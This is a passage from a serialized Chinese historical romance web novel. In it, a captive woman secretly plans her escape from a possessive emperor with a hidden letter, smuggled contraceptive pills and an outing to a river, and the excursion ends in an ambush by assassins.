是她从小没看出他的偏执,早在成长的过程中,无声无息地粘腻在了骨子里。 她应该早些看出来才是。 是啊,今日是他生辰,她也是被他气的什么都忘了。 宋衍紧紧盯着她,又祈求了一声,“阿姐?” “逛逛这镇子吧。”她道。 宋衍心底悬着这石头总算落了下来,将手中的糖人朝着沈遥递过去。 她静静看了一会儿后,将其接过,“仅此一晚。” 仅此一晚,她暂时忽略那些龃龉,心中的郁结,陪他过次生辰好了。 小镇集市开得很晚,此时仍是灯火通明,人声鼎沸的样子。 沈遥一边含着糖人,一边走在宋衍身侧。 在一个表演杂百戏的人喷出一团火球时,她被惊吓得踉跄了一步。宋衍立刻伸手托住她的肩膀,拢着她往一旁挪了两步。 也是这时,她仰头 看了下他凌厉的下颌线,忽然道:“今岁十九了,长大了。” 宋衍松开她,低头朝她笑笑,“明年加冠,阿姐之前承诺过,要给我戴冠的。” 沈遥一怔,脑海中也是浮现了当初说此话的情景。 不过挺搞笑的,那时可是被他骗得很惨的情况下说出的话。如今他们关系如此势同水火,她还如何心平气和给他戴冠。 明年,难道明年还依旧被他囚禁在身旁吗? 她想反驳几句,可又想到今日他生辰,便又闭了嘴。 两人一路沉默着往前走,慢慢意识到,今日集市如此热闹,是因着众人祭祀冬至的原因。 随着越往里走,越多人脸上戴着从小贩处买来的面具。 沈遥停在一处面具铺子前,又望了一眼周身戴面具的人。 宋衍看出她似乎对此有兴趣,问她:“想要?” “嗯。”沈遥点了点头,指了一下那个太上老君的面具,周围很多人都戴着同样的。 宋衍有些不喜的蹙了下眉,但为了哄她开心,还是将那面具买下。 沈遥:“你不要?” 太幼稚了。 宋衍沉默。 沈遥又指了一下一只猪头的面具,淡淡道:“你戴那个。” 宋衍挑眉,“你真不是拐着弯儿骂我呢?” “不要算了。”沈遥自顾自拿起太上老君戴到头上。 宋衍无奈:“你这么想我戴那猪头的?” 沈遥的声音从面具背后传出,被面具挡住后听起来有些闷,“我想你戴。” “好。”他认了,从钱袋中掏出几个铜板,递给那面具老板后,取了猪头面具。 他正将猪头面具往脸上一戴,转身时便不见了沈遥身影。 而四周人群皆戴着面具,戴着一模一样的太上老君。人流四处涌动,他心脏忽然从体内蹦出来似的,冷汗凉了一脊背。 宋衍两步跑上前,站在街道中一个个巡视着,一时间,空气都成了众人的污浊,所有人皆放声大笑,交谈,口中不断喷吐着唾沫星子,带着不断蒸发涌动的汗液,他瞬间感觉自己衣裳都被污染了。 可是哪里都没有沈遥的影子。 “阿姐!” “阿姐!” “诺诺!” 宋衍着急地喊了几声,在一个回首时,忽然看到了那个熟悉的身影。面具眼洞中带着无可奈何的神色。 他倏然吐出一口闷气。 她没丢下他。 沈遥上前主动牵住他的手,面具下闷沉的声音再次响起,“人多,别丢了。” 她在故意吓唬他。 宋衍咬牙,反手握紧了她的柔荑,打开指头,十指相扣,这次他不想再找不到她。 沈遥也不知自己在想什么,刚才人流之中,要逃跑很容易。她站在暗处看着宋衍站在原地不知所措的模样,最终还是走了出来。 或许是因为锦书和宁家还在他手上的缘故吧。 沈遥这样告诉自己。 往集市外走时,沈遥忽然被几个从后飞奔的小孩猛地撞了一下。宋衍将她抓住,叫她没能摔倒。 他朝着那几个小孩背影瞪过去,正想上前时沈遥拉住他,“算了,我又没事儿。” 两人继续往外走时,沈遥往腰间一摸,“诶呀”一声。 “怎了?” “钱袋不见了。”沈遥咬唇,想到刚才,“是那几个孩子。” 她对自己着实无语,当初没记忆时出葫芦镇,就是被人撞了后偷走的钱袋。着实没想到,如今自己有了记忆,竟还是叫人将钱袋偷了。 宋衍眼眸暗了一下,冷不丁说了一句,“你看,葫芦镇外都是人心险恶。” 言下之意,葫芦镇才是真正的桃花源,住在里面没什么不好,虚妄也没什么不好。 沈遥翻了个白眼,心情更差了,不想与他掰扯。 宋衍见状,将隐在别处的南风喊过来,叫他去寻那几个小偷的踪迹。 毕竟是御前办事儿的,没过一刻钟,南风已经找到了那几个小孩落脚之地,是一处破庙。 宋衍拉着沈遥直接往那地方去,想要帮她教训那几个小偷一顿。 破庙位置偏僻,正走到镇边时,里面的小孩还在数钱。 “哇,这次可真是不少,足足五两银子,赚翻了!”领头的是个小男孩,身上的衣裳破旧,满脸欣喜。 宋衍与沈遥正想上前时,又听那小孩手舞足蹈地与旁边另一个年纪小些的小男孩道:“这下可好了,小妹的病有救了!” 破庙内燃着的篝火在晃动,宋衍和沈遥脚步一顿,那小男孩自然注意到了他们两人,转头的瞬间吓得魂飞魄散。 “是、是你们!你们怎么找过来的!” 沈遥没说话,往破庙内扫视一圈,果然见到角落草席上躺着一小姑娘,闭着眼重重喘息着。 因着这动静,四处又冒出了好几个小孩,皆是衣衫褴褛,满脸恐惧地看着他们。 那领头的男孩儿还在虚张声势:“我告诉你们!这钱袋是你们自己掉的,被我捡着了,就是我的了!” 他死死抓住手中的钱袋,像一只长满了刺的刺猬,随时准备着防守。 沈遥问:“你们是谁?为何要做出这种偷鸡摸狗之事?” 男孩咬牙切齿,“我们都是无父无母的,聚集在这淅镇,一同讨生活。小妹生了重病,无奈没钱治病,才不得已只能出此下策。” 沈遥扯了下宋衍的袖子,“要不算了吧,不过五两银子而已。” “不能这么算了。”宋衍却道,“窃取他人财物,是可直接扭送官府发落的,五两银子,够几年徒刑。” “你!”男孩儿心慌起来,又扭头看向墙角的小妹。 沈遥觉得宋衍说的有道理,可心底却还是不忍。因她看着这几人,倏然想到了曾经带着弟弟妹妹一路出逃长安至甘州的情景。 那时的他们,也是这般衣衫褴褛,没了父母,在乱世中苟延残喘,为了一顿饭,一个馒头,甚至赌上性命。 “五两银子,算借你的。”宋衍又道,“给你们机会,为我们做事来还债,每人每月五百文钱,直到还清债务,如何?” 沈遥一怔,看向火光下宋衍的侧颜。 他好像,其实和她想象的不太一样,他并没有他口中所言那般,是个纯粹的恶种。 他喜欢猫,看到流浪的野猫野狗会喂食,看到年纪太小,无法独自生存的小猫会抱回家。他不会对无意撞到他的小孩发怒。 包括此时,授人以鱼,不如授人以渔。 这样的人,真的会不顾往昔恩情,杀了宁梓谦,拿宁家上百口无辜之人开刀吗? 沈遥此时忽然隐隐有了一个大胆的猜测。 有没有可能,宁梓谦根本没有死,是他故意诓骗她的? 可若如此,他的目的为何?就是为了要她恨透他吗? 不过也是,这个小疯子的思维,正常人是无法理解的。 男孩儿一时愣住,与旁边同伴对视后才又问他,“你要我们做什么?” 宋衍沉吟,道:“我家中做着丝绸生意,正好缺了帮忙贩卖的伙计。” “你要我们帮你卖东西?”男孩儿匪夷所思,“这么简单?” “嗯,但不允许弄坏丝绸,也不许私下拿了自用,若是有这行为,便要从工钱里扣。” “好!”男孩儿是个有魄力的,在答应后转头又与小伙伴们对视一眼,所有人都带着期待地点头,他又丝毫不怯懦地回视,“好!我们做!” 宋衍和沈遥直接回了家,许是今日心情好些的缘故,沈遥竟在没有威逼利诱的情况下,吃完了一整碗面。 漱过口后,沈遥犹豫地看向宋衍,思索再三,最终问:“宁梓谦是怎么死的?” 宋衍抬头看向她,“自然是我杀的,想为他报仇了吗?” 沈遥:“你怎么杀的他?” 宋衍怔了一瞬,轻描淡写道:“审讯时扭断了脖子,不算受了多少苦。” “他的尸骨呢?” 宋衍拿过帕子轻轻擦了嘴角,并没回答她的问题,反而决定告诉她另一个消息,“前两日,宁家大公子外出时癫症发作,突然逝世了,宁忠得知后一病不起,我叫御医去 看过,说是快不行了。” 沈遥手中的杯盏落到地上,碎了一地,静静看着他,连试探宁梓谦是否存活的心情都彻底没了。 如此一来,若宁忠也死了,那宁家便只剩下了一大群女眷,和两个还不满三岁的稚子。 “宁家剩下的人……” “你想我派人照拂么?”宋衍声音很淡。 “你想要怎么样?”沈遥期待着他能给宁家一些补偿,即便宁家大公子是癫症发作而死,可宁家一直有从龙之功。 而当初牵线宁梓谦和宋衍的人,也是她。 “你想我派人照拂么?”他依旧是同一句话。 沈遥抿唇,“想。” “好。”宋衍放下手中帕子,直接将南风叫了进来,嘱咐了口谕,不仅提供金钱上的帮扶,还追封大公子和宁忠爵位。 沈遥一怔,没想到他什么要求都没提,就直接应下了,而所给出的补偿,也是有过之而无不及。 在南风离开后,她低声道了一句谢谢。 宋衍摇头,笑而不语。 无论如何,加封爵位也好,还是赐黄金千两也罢,只要宁家在他手中,就够了。 看着沈遥心绪好像又不高了,他又道:“沈芯前两日去葫芦镇找你,却没找到。” “她?”沈遥心底一跳。 这妹妹向来无事不登三宝殿,她主动去葫芦镇,是有要事儿? “嗯,你想见她吗?” 虽然宋衍不太喜欢外人接触沈遥,可沈芯既是她妹妹,若她想见,他可以将人接来几日。 “或者说,你若见了她,心情可会更好上些许?” 沈遥说不上来心情是否会好,可沈芯若有要事,那她倒是好奇了,而且,她或许也需要沈芯的帮助。 “我想见她。” “好。” …… 沈遥见到沈芯是在一周后,人直接坐着马车,从长安被送来了淅镇。 沈芯一进小院儿,便红着眼朝沈遥扑来,抓着她的手,“阿姐!你怎么瘦了那么多!” 沈遥面无表情地往身后的宋衍一扫,他明白过来,站去了屋外,给她们两人空间。 沈芯抓得她胳膊有些疼,她才压着嗓子说了一声,“别演了。” 这个小妹见到她可从来不会是这副模样,只想方设法要在她面前表现得高人一等。 沈芯轻咳一声,尴尬地收回手,落座到案前。 沈遥主动问她,“听说你去葫芦镇找我了。” 沈芯:“是啊,我走了好大一圈,后来才知晓阿姐和陛下搬走的事儿。” 沈遥:“何事找我?” “就不能是想阿姐吗?”沈芯拿出帕子擦了擦并不存在的眼泪,“这淅镇着实有些远了,这次我来,陛下允了三日,便要回去了。阿姐放心,我们在长安的都会念着你。” 沈遥一顿,重新看向沈芯半垂的眼。 我们在长安的人。 沈芯忽然想到什么,将自己带来的食盒朝着沈遥推去,“我也不知该给阿姐带点什么,毕竟阿姐想要什么陛下都能弄到。于是我便自己亲手做了点儿糕点,给阿姐尝尝。” “听说阿姐如今胃口都不甚了了,若阿姐能喜欢我做的糕点,那我便是心满意足了。特别是这南瓜糕,我问过郎中,是养胃的好东西。” “嗯,绵绵有心了。”沈遥轻轻喝了一口茶水。 沈芯又道:“若是阿姐还要我做的什么糕点,我待在淅镇这几日,都会给阿姐多做些。” 沈遥笑笑,“如此再好不过,我记得,我曾经确实很喜欢你的南瓜糕。” 她打开食盒,便看到沈芯做了好几种糕点,其中最显眼的便是南瓜糕。 她与沈芯对视一眼,将南瓜糕拿起,想了想掰开,里面果真藏了一封密信。 沈遥不动声色将其拿出,在沈芯假意寒暄时,将那封信快速看过一遍。 她手指微微颤抖,很快认出信上的字迹,是宁梓谦。 他果然还活着! 而宋衍这个小畜生,不知道发的什么疯,偏要骗她说宁梓谦被他杀了。 宁梓谦话语简短,说了不让她担忧宁家之事,知道她去淅镇后,便想到了助她金蝉脱壳的方式。 她将一小封密信团起,塞入口中就着茶水咽了下去。她往门口望了一眼,指尖轻点茶水,在桌上写下了三个字。 沈芯倾身一看,一时愣怔。 是‘避子药’,所以沈遥需要她带避子药? 这倒不是什么难事儿,她身子不好,此次出行,贴身带了随行郎中,她随意找个借口要来便好。只是她还是未出阁的姑娘家,听到这事儿难免有些脸颊发烫。 沈芯耳朵有些红,不敢去看沈遥,捏紧了手帕,最后点点头应下。 两人又交谈了好一会儿,沈遥慢悠悠将那块南瓜糕吃下,在将人送走前又与她说:“还好有你来看我,多谢了。” 沈芯扭开头,低声不自在道:“我是为了我自己。” 沈芯走后,宋衍进屋看着案上的糕点和碎屑许久,没有说话。 沈遥脑中紧绷着一根弦,伸手随意又拿起一块马蹄糕吃下,“绵绵的手艺依旧好,她做的南瓜糕不错,让她下次再带些来吧。” 宋衍听到她竟有了胃口,心底那些怪异的直觉被很快略去,微笑着颔首应下她。 接连第二日,沈芯也来找沈遥,这次只是两人在院子中和猫追逐玩乐了一番,便将沈芯送走。 宋衍站在不远处,看着两人牵起来的手,眸子暗了下去,手指摩挲着,最终什么都没说。 直到第三日,沈芯再次送来做好的南瓜糕,便依依不舍地和沈遥道别,上了马车往长安城回。 沈遥趁着宋衍不在房中时,立刻将南瓜糕掰开,便见到其中一颗颗的黑色小药丸,无需煮汤,直接服用便可,很方便。 她将小药丸藏到一装满了糖丸的小盒中,除了颜色不一,大小看起来倒是一样。 宋衍进屋时,她正好将其放好,那块掰开的南瓜饼吃了一半,还剩一半放在盘中。 沈遥吞咽着口水,捡起剩下半块南瓜饼吃着,飞速看了他一眼,最后喊他过来。 他站定她面前,沉默地等着她说话。 沈遥比他矮上一个头,咬上最后一小块南瓜饼,抓着他的衣襟让他低下头,将那块饼顺着唇舌,递到了他嘴里,连带着她带着香甜的唾液,他不解地睁大了眼睛,也没咀嚼,一整块吞了下去。 自从两人关系闹僵后,她再也没这般亲吻过他。 他整个人愣怔地看着她,眸中带着迷茫。 沈遥朝他笑笑,“宋衍,我们以后别闹了,好好过日子吧。” 第55章 第55章“好哥哥。” 宋衍定定看着她,舔了下唇角,不明白她怎突然变了想法。 “阿姐,你怎么了?” 沈遥面不改色,道:“这几日见了绵绵,和她一番交流后,我想通了许多。既然日子都要过下去,为何不过得舒心些呢?” 宋衍仍是狐疑:“你突然就不恨我了?不恨我杀了宁梓谦?” 沈遥咬牙看着这个可恶的小骗子,真是从头到尾都将她骗得好惨。 她垂下眸,轻轻叹息道:“我能有何办法呢?人都已经不在了,我恨你也下不了手杀你,他也无法起死回生。” 宋衍沉默地看着她。 沈遥无奈道:“宋衍,我们认识多少年?我和宁梓谦认识多少年?当初我们一路从长安逃亡至甘州,中间历经的生死,你觉得我和宁梓谦关系,真的能盖过我们两人的关系吗?” “你太低估你在我心底的重要性了,臭弟弟。” 宋衍瞳孔骤然紧缩了一下,心七上八下地乱跳起来,浑身痒得厉害。 阿姐的意思是,他竟然比宁梓谦重要? 沈遥继续说:“曾经因为我们姐弟的关系,所以我才不能接受你。而宁梓谦,为人淳朴老实,是我当时觉得选择的最好的良婿,至于感情有多深,其实也不见得。” “这些日子的纠缠,又在绵绵的话语下醍醐灌顶,我才意识到我应该正视自己的感情,反正我们 早就不是姐弟了。是吧?” “所以,宋衍,我们以后好好过日子,好吗?”她又重复了一番这句话,好像很真诚。 “阿姐……”他心头激动得有些窒息,不知该说什么,双手紧握成拳,半晌说不出话。 沈遥主动上前,抬手抱住他精瘦紧致的腰线,用了几成立,头靠在他胸膛,听着他有力却又混乱的心跳,声音柔和,“宋衍,我允许你叫我诺诺。” 宋衍抬起手紧紧地拥住她,低头落下一个温柔的吻在她发顶。 “诺诺。” 两人的关系好似经过这一遭后,真的好起来了似的。沈遥开始努力地吃饭,即便有时还是会吐,可吐完漱过口后,又逼着自己吃下一些。 郎中来看过,说是前些日子伤了胃,得慢慢养回来。 她有时还会亲自下厨,做一碗清汤面给宋衍吃,即便那面淡得没有味道,可他仍然当作世间绝味美食,大口大口一鼓作气地全部吃下。 可唯一没变的,是宋衍依然时时刻刻跟在她身边,而守着他们的暗卫也依旧没有减少。 沈遥看出来,他心防还未放下,也是,他其实是个聪明又警惕的人。 可是不着急,她有耐心慢慢来。 这日长安似乎发生了什么,宋衍出去了一整日都没回来,宅子中只留下那仆妇。 虽然看起来没什么人,可沈遥知道,其实四处都是暗卫。 趁着阳光明媚,她多穿了几件衣裳出街去逛了一圈,期间路过蹲在镇口嗑瓜子的婆子们。 婆子们一见到沈遥立马迎了上来,“诶,这位就是……时家夫人了吧?” 沈遥淡笑着点点头。 婆子没想到这时夫人竟生得这般沉鱼落雁,闭月羞花,难怪整日藏在那小宅子里不出来。她要是有个这般漂亮的女儿或是媳妇儿,也是怕人上街晃悠,被不知名的小伙子勾搭了去。 这水灵灵的模样,也忒招人了。 婆子:“你们家搬来的第一天,我就带了鸡蛋想上门去的,只是没见着你人。” 沈遥:“真是不好意思了,我身子不大好,来这淅镇主要也是为了散心养病。” 婆子:“你家书童有这样说,这是可惜了啊,不然啊,这淅镇外可是山清水秀,是游山玩水的好地方,不少文人墨客常来此地。” 沈遥:“哦?那这附近有何特别好玩儿的地方,有机会,我定去走走。” 婆子想了想,打了个响指:“诶,这出镇子,骑马半个时辰,是长淅河,那地儿风景不错的,可惜是冬日。若是这开春儿啊,路边可是开满了花树,景色可美了。” “哦,就是这长淅河水流湍急,去的时候站远点儿玩儿。” “长淅河啊……我听过。”沈遥垂眸凝思着,想到了那张密信上的内容,笑而不语。 风有些大了,沈遥裹紧了身上的披风,回头望了一眼跟随着她,极为安静的仆妇,“回家吧,有些冷了。” 哑巴仆妇默默地点点头。 宋衍到夜晚时,才终于从外面归来。 房里留了几盏灯,并不暗,床上盖着被褥的身影起伏,看起来沈遥已经睡了。 他怕身上的凉意冻着沈遥,没有立刻上前钻进被子,而是先叫人烧了热水,待沐浴过后,才来到床边。 坐下在床沿时,他看到床头的针线篮里,有一只红底的香囊,微微一怔,伸手拿起看了看。 上面绣了两只猫,一只橘猫,还有一只白猫。 他看了一眼团成一团,睡在床尾的小橘,将香囊默默放回了篮筐。 指尖摩挲着,不可否认,心底竟生了妒意。 沈遥这时也忽然醒来,转过身,半睁开眼,迷迷糊糊道:“你回来了啊,去哪儿了?” 宋衍俯下身子,笑着落下一个吻在她额头,“长安有点儿事儿。” 宁梓谦从狱中跑了,如今又失了踪迹。 不过人倒是没在葫芦镇和淅镇出现过。 沈遥身子往床里又挪了些位置给他,“都处理好了?” “嗯。”他不愿多说,将鞋履脱下后,又和沈遥的鞋履并排摆放整齐,这才上了床,钻进被窝。 沈遥感受到身旁火辣辣的热量,彻底清醒过来,视线无意扫过窗外时一怔,“下雪了!是初雪。” 宋衍顺着视线看去,没什么情绪。 他不喜欢初雪,甚至厌恶极了初雪。他出生在初雪天,小娘死在初雪天,当初被关在那间小柴房也同样是初雪天。 沈遥忽然提起道:“今日去镇子走了一圈,来了这么久时日,竟然都没好好逛过。” 宋衍回过头,“你若想逛,我天天都陪你逛。” 沈遥剜他一眼,“还说呢?那你今天怎一日都不见人!” 宋衍没忍住一笑,侧过身子挪上前,将她抱到自己怀里,手臂给她的头枕着,“怎就一日不见,诺诺这么黏人了?” “说这黏人,我还真比不上你的。”沈遥轻哼一声,在他的怀里倒也不觉得怪异,反而伸手同样抱住他,手搭在他腰间。 “我们要在淅镇待多久呢?” “诺诺想待多久?”宋衍反问她。 “淅镇好是好,就是离长安远了。”沈遥似乎很是遗憾,“嗯……这次和绵绵见面后,心情好了不少,总是想着她,若是能早些回去,能常常见着她就好了。” 宋衍盯着烛光下她暖黄的脸,报复性地低头咬了一口。 “啊!”沈遥推了他一把,捂住自己的脸,“你干嘛?” 宋衍语气沉沉,“你倒是在乎沈芯在乎得紧。” 沈遥瞪大了眼睛好笑地看着他,“你……吃醋了?” 宋衍不说话。 “不是吧,沈芯是我亲妹妹诶,这你都能吃醋?” 宋衍还是不说话。 沈遥调侃一声,“那要是咱们将来有了孩子,你莫不是连孩子的醋也都要吃了?” 孩子…… 宋衍身子一僵,这是她第一次主动提起孩子。 “你……” “我怎么了?”沈遥侧躺着,一只手撑起头,斜眼瞥着他。 身上的寝衣有些松散,摇曳的光将她晃成了一朵娇艳的花。 宋衍笑了下,“没什么。” “既然你想回去了,那我们后日便回去,如何?” “好啊。”沈遥看起来欣喜万分,上前蜻蜓点水地落下一个吻在他唇峰上。 他眸色渐渐暗了下去。 他已经许久未碰她了,主要她身体不太好,郎中也说要让她心情愉悦。 而现下,一个简单的吻成了燎原之火,烧得他发痒。 宋衍眼底愈发暗了,他上前将她压下,居高临下看着她发红的脸颊,散开的乌发,轻轻落下吻在她鼻尖。 “想要了?”他语气很低沉。 沈遥耳根子一红,用力拍了他一掌,这个人嘴中说出的话,一如既往的浪荡。 宋衍笑笑,继续俯下身吻她,很快,他身上的衣裳便被她剥了个干净,显得她很迫不及待。 久不经人事,沈遥倏然疼得痛呼一声,宋衍一滞,停下来不敢动,只是低头看着她的神情,额头的汗液凝聚滴落在锁骨。 明明是初雪,屋内却有些过于热了。 沈遥咬唇,看着他的眼睛摇摇头。 她提起:“这么快就……就回去了,是不是……是不是有点……有点可惜?” “怎么可惜?” “嗯,淅镇附近风景秀……秀丽,我们……我们都没好好……好好逛过。” 宋衍听了一会儿,看着她娇俏的模样,在她不解时又继续起来,“天气太冷了,镇子外更冷,怕你染风寒。” 沈遥蹙眉,视线偏移了几分。 他不让她出镇子?这可如何是好? 宋衍见她心不在焉,不满,听到她惊呼,才坏笑起来,“诺诺居然还分神?” 沈遥有些心急起来,却还是努力压下,娇嗔道:“可是我、我……还是觉得……太可惜了。” 宋衍一味沉默不语。 沈遥努力集中起心思 ,抬起头吻上他的唇,“整日待在一处地方……地方……我都闷死……闷死了,来都来了,不去……玩儿……多可惜。” 见他还是不说话,她努力贴到他耳边,吹着气,喊了一声:“好哥哥。” 宋衍整个人不会动弹了,定定地看着连喘气都困难的她,一时脸红耳赤,心脏像是跳出了天灵盖。 沈遥正迷茫地看着她,还想说什么时,却又陡然连呼吸都愈发困难起来,到后面彻底忘了自己究竟要干嘛,直到结束时昏昏沉沉,直接睡了过去。 沈遥翌日醒来时,身上干干净净,没有任何粘腻的感觉。而脖子上还挂着那个沉睡的人。 她微微动了下,浑身酸痛到不行,而挂着她睡觉的人也醒了过来。 她呜咽两声,没来得及说话,他笑着爬起身将她嘴巴堵住,刚醒来就来了一个很深的舌吻。 沈遥被亲麻了,想到昨夜失败的**,伤敌五十,自损三千。她气不打一处来,重重一拳捶在他胸口。 宋衍“唔”了一声,又蹭蹭她的脖颈。 屋内燃着银丝炭,沈遥忽然被这个男人烫得不行,直接掀开了被褥散热。 她无意垂眸时一怔,“你……你右脚的小指头呢?” 她记得他以前是健全的啊,什么时候发生的事儿? 宋衍视线落在床头的玉簪上,又看回她,本来不想叫她发现的,他轻飘飘道:“断了。” “断了?怎么断的?什么时候?” 骨折后他用匕首切掉的。 “之前宋禾那次受的伤。”他只说了一半。 沈遥一直盯着,有些心惊,“我竟然一直不知,疼吗?你怎么不告诉我?” “早不疼了。”他揉揉她散乱的头发,“诺诺,我这样是不是和小橘很像?” 沈遥:“……” 宋衍眼底带着愉悦,“小橘一只爪子只有三个指头,如今我的一只脚也缺了一个指头。” 如此一来,她是不是会和爱小橘一样爱他?而不是…… 而每日插在她发髻间的那枚玉骨簪,是他的一部分与她融为一体,永远跟随着她。 她的头上,是他。 沈遥半晌无语。 “……小橘那是天生的,怎么会一样?” 宋衍听闻后有些失落地耷拉着脑袋,又像树袋熊一样挂回她身上。 “你干嘛?” 他用最近新长出来的胡渣蹭着她的脖颈,在她娇嫩肌肤上留下一疼红印,声音低沉道:“今儿可还有力气?” 沈遥瞪着他,带着警惕,“不是吧!你又要来!” 昨夜都不知几次,今日不好好休息,她觉得自己会死在床上。 果然不能让男人憋太久,没开荤过的男人不可怕,但开过荤,又憋太久的男人真的很可怕。 宋衍低沉地笑了一声,“想什么呢?我想着若你今日还有力气,就带你去镇子外玩儿玩儿,若是没力就算了。” 沈遥眼睛倏然一亮,心跳加速起来,看着他淡淡道:“有力气。” “真的?” “自然是真的!” “我不信。”宋衍朝她摇摇头,又是自上而下将她压住,“既然有力气,那再……” “宋衍!”沈遥怒了。 他笑着又吻了吻她,“那……你再叫一声。” 沈遥:“叫什么?” 宋衍脸有些红,“嗯……叫一声,好哥哥。” 沈遥送他一个白眼,“你能要点儿脸吗?” 宋衍沉默地看着她,正又低下头去吻她锁骨,她瞪大眼睛吓了一跳,着急道:“好哥哥!好哥哥!” 宋衍抬起头,蹙眉看着这个没骨气的女人,无奈摇头,又狠狠啄了一口她的唇,起身离开。 沈遥在床上躺了好一会儿,终于捡起精神坐起时,见着宋衍又拿了一盒药膏走进来,坐回床前。 “怎么了?” 宋衍视线过落在她盖着的被褥上,“给你上药。” 他也知道昨日要太狠了,后来好像都肿了,只是天色太晚,虽然安排了人去找郎中拿药,却也是今早才拿到。 “上什么药?”沈遥不解,见他来掀被褥时打了一个激灵,明白过来,红着脸道:“我、我自己来!” 宋衍没将药膏递给她,只是看着她避开的脸,以及红透了的耳朵。 “那你上,若自己上不好我帮你。” 沈遥抢过他手中的药膏,转过身子,带着羞耻快速抹了几下。凉意传来,确实舒缓了肿胀疼痛。 “好了!”她将药膏狠狠朝他扔去,砸在了他鼻梁上,又掉落回手中。 宋衍不甚在意地笑笑。 “用过午膳后,我们出门。” “嗯。”沈遥点点头,瞬间精神起来,“你准备去哪儿?” “附近山中的风景不错,可以骑马吗?”他说话依旧温柔。 沈遥沉吟一番后,提议:“听镇子上的人说,这附近最出名的一处是长淅河,既然都来了淅镇,若不去看看这最有名的景色,岂非白来一趟。” 宋衍看着她的眼睛,见她眼里亮晶晶的,带着久违的期待,于是点头应下了。 沈遥松了口气,今日午膳吃了很多。 用完后,沈遥起身到床头,将那只香囊拿出,走到宋衍面前,抬头朝他笑笑,“这个送给你。” 宋衍一怔,“给我的?” “嗯。”沈遥将香囊系到他腰间,“你不是喜欢猫嘛,特意做给你的。” 一个普通的香囊,她还是有些心软,想要给他留下些念想。至少有她亲手做的礼物,有小橘,以后也不会太过孤单。 宋衍拿起腰间的香囊看着,一阵淡淡的梨花香涌出,沁人心脾。 沈遥牵住他的手,“走吧,我们骑马去长淅河。” 第56章 第56章她竟然连命都不顾了么?…… 早晨刚下过一场雪,脚踩在薄薄的积雪上还能发出咯吱咯吱的声响。 两人共骑一马,没有跑得很快,而是慢悠悠地出了淅镇,一路晃悠到河边。 或许是因为初雪的原因,今日在河边游玩的人不少,少男少女,老弱妇孺。甚至还有小贩摆起了摊,在树下卖吃食。 到了地点,宋衍先行下马,递了一只手给沈遥。她视线从河边穿着蓑衣正在钓鱼的人收回,将手放到宋衍手中,顺着他的力道翻身下了马。 地上的积雪还有些湿滑,她歪了下身子,倒在宋衍怀中,他稳稳将她扶住,轻笑一声。 此时正午过后,是冬日最暖的时候,可宋衍仍不忘从马后拿出一个小手炉塞到沈遥怀中给她暖手。 不远处传来奏乐声,沈遥被欢快的声音吸引了过去,宋衍紧随其后。是几个杂技人正在表演舞狮,一黄一红,狮子踩上高跷,从口中喷出一大团火,附近的积雪瞬间融化了一些。 众人放声大叫喝彩:“好——好——” “好——” 沈遥紧随着拍手鼓掌,蹦跶了两下,转过身看着宋衍,问他有没有零钱。 宋衍视线从那两只狮子挪开,从钱袋中掏出几个铜板,递给沈遥。 收钱的另一杂技人敲着铜锣在众人面前走过,沈遥顺便将手中的铜板放上去。 舞狮人转过身,刚好面对着沈遥,再次吐出一口火球。 沈遥眨眼愣了一下,宋衍将她往后拉了一把,那舞狮人又继续朝着一旁喷火球,又是一阵观众喝彩的高潮。 “好——” 沈遥忽然意识道:“原来将近年关了,竟一直没意识到。” 宋衍垂眸,从上至下看着她的侧颜,笑笑:“嗯,今年除夕一起在长安过。” 沈遥扭过头朝着他笑笑:“好啊!我有很多想吃的。” 他揉了揉她的发顶,手指擦过她发髻上的梨花玉簪,“叫宫中的厨子给你弄。” 沈遥看着四周满是笑面的人们,忽然道:“葫芦镇没有这样真实的欢笑。” 宋衍看着她,“我可以让他们有。” 沈遥无奈摇了摇头,“那也不是真实的啊。” 她长叹一声,悄悄牵住他的手,“这才是真实的,手心的温度,手指的形状。” 宋衍呼吸停滞了一瞬,指尖顺着她的指头从头往下,抹到指丫,又轻轻揉了揉,摩挲了片刻。 “回去后,你不想住葫芦镇了?” “回长安吧,长公主府,或是宫里,住哪里都好,但我想住在真实的地方。”沈遥面露期待,“当然,若是长公主府是最好的,我熟悉。” 宋衍视线又挪回舞狮人身上,轻轻道了一声:“好。” 倏然间,舞狮人在转过一圈,又表演了倒立之 后,口中“砰——”一声喷出一大片红色花瓣。 花瓣从高空洒落下来,正在此时,天空竟也下起了雪,红白相间,美得众人一时看呆了眼。 沈遥也睁大了眼睛,定定看着花瓣与雪在天空交融的场景,心底万分动容。 忽然,“嗖——”一声,宋衍瞳孔紧缩,猛地一把推开沈遥。 沈遥一时不察,整个人摔在了地上,小手炉滚落地上,转了几个圈堪堪停下,而她手心搓破了些皮,她不解地转身望去,不远处的地上竟插着一支箭! 那箭尾的羽毛还在颤动着,宋衍右上臂也被箭所擦破,一股浓郁的血腥味骤然间蔓延开来。 行刺? 沈遥震惊地看着,一时没反应过来,这不在她的计划之中。 当箭从狮子口中吐出,穿过过花瓣群和落雪时,四周掩藏的暗卫已经冲了出来,蜂拥而上。 四周看客“啊——”地惊声尖叫起来,纷纷捂着头四散逃命,转瞬间,整个河边只剩下了宋衍和沈遥,刺客和暗卫。 只是令他们没想到的是,躲藏的刺客不仅舞狮人中有,刚才的看客中也有。 几个人跑了几步后,忽然从腰间飞出暗器,直直朝着沈遥射去。 以沈遥的反应是可以轻易躲开的,可她因着体力不好的原因,速度明显慢了几拍。 电光火石间,宋衍整个人扑了上去,抱住她转了个身躲过暗器,眼见着暗器深深埋入他们身后的树干中。 “宋衍!你还好吗?”沈遥有些惊慌,垂眸看着他手臂上深可见骨的箭伤。 “走——”宋衍从地上拔起那根箭,在刺客与暗卫的纠缠间,拢着沈遥往外跑去。 正在两人跑出几步后,前方又出现了好几个隐匿的刺客。 宋衍将沈遥护到身后,拿着那根箭矢便冲上去与刺客搏斗一起。在旋身之时,箭矢被他用手刺入一个刺客的胸膛。 他从刺客手中夺过剑,朝着沈遥掷去,大喊道:“找个地方躲起来!” 沈遥从空中接过飞来的长剑,跑上前刺伤一人后,宋衍推了她一把,“快躲起来!” 看着他拔出箭矢,又用其与刺客打斗在一起,一时间进退两难。 她转头扫过正在打斗护驾的暗卫,不远处南风也被五六个人所困。宋衍腿又是被一剑划伤,可他似乎感觉不到疼痛一般,将箭以迅雷不及掩耳之势刺入一人脖颈,又抢过他手中的长剑。 沈遥顿时松了口气,又瞥向还在河边钓鱼的蓑衣人,提着裙摆往那处冲了过去。 